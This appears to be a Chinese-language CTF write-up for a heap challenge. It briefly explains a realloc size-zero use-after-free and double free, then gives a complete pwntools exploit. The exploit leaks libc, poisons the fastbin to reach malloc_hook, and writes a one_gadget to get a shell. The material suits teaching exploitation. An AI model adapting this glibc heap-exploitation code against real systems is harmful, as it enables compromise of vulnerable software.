首先理解程序的结构,三个功能,一个编辑config,一个打印config,一个rain,其中config用的是realloc来申请,realloc中的size参数,是你写入的config的大小-18
realloc存在UAF,当size为0,即输入的config大小恰为18的时候,realloc(ptr,0)的效果等同于free(0),所以只需要先利用realloc申请一个不在fastbin里的东西,然后free 8 次,再申请回来一次,就可以泄露libc
接下来利用realloc导致的double free,将malloc_hook-0x23写到fastbin链表里,注意这里为什么不用tcache打free_hook,因为tcache里的指针始终和realloc时的ptr相同,导致realloc不从tcache里申请。
最后申请到malloc_hook-0x23后,把onegadget写到realloc_hook上就可以了
exp:
from re import L
from pwn import *
from ctypes import *
from string import *
from hashlib import *
from itertools import product
context.log_level = 'debug'
context.arch='amd64'
io = process('./pwn',aslr=True)
#io = remote('124.71.185.75',9999)
libc = ELF('./libc-2.27.so')
elf=ELF("./pwn")
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
# lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def menu(choice):
sla("ch> ",str(choice))
def config(frame):
menu(1)
sa("FRAME> ",frame)
def show():
menu(2)
def rain():
menu(3)
#height+width+color+color+rainfall
init_config=p32(0x50)*2+p8(2)+p8(1)+p32(0x64)*2
payload=init_config+'a'*0x80
atoi_got=elf.got['atoi']
config(payload)
for i in range(8):
config(init_config)
show()
ru('Table:')
libcbase=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-(0x7fe5c890eca0-0x7fe5c8523000)
main_arena=libcbase+(0x7fe5c890eca0-0x7fe5c8523000)
system=libcbase+libc.sym['system']
atoi=libcbase+libc.sym['atoi']
free_hook=libcbase+libc.sym['__free_hook']
malloc_hook=libcbase+libc.sym['__malloc_hook']
lg("libcbase")
lg("system")
payload=init_config+p64(main_arena)*2
config(payload)
payload=init_config+'a'*0x60
config(payload)
for i in range(7):
config(init_config)
init_config=p32(1)+p32(0x60)+p8(2)+p8(1)+p32(0x64)*2
payload=init_config+p64(malloc_hook-0x23)*12
config(payload)
init_config=p32(0x50)*2+p8(2)+p8(1)+p32(0x64)*2
payload=init_config+'a'*0x90
config(payload)
config(init_config)
payload=init_config+'a'*0x10
config(payload)
payload=init_config+'a'*0x60
config(payload)
gdb.attach(io)
init_config=p32(1)+p32(0x60)+p8(2)+p8(1)+p32(0x64)*2
payload=init_config+'a'*0x60
config(payload)
init_config=p32(0)*2+p8(2)+p8(1)+p32(0x64)*2
payload=init_config+'a'*0xc0
config(payload)
config(init_config)
payload=init_config+'a'*0x10
config(payload)
#0x4f365
#0x4f3c2
#0x10a45c
onegadget=libcbase+0x10a45c
payload='\x00'*(0x13-8)+p64(onegadget)
lg('onegadget')
payload=init_config+payload.ljust(0x60,'\x00')
config(payload)
config(payload)
irt()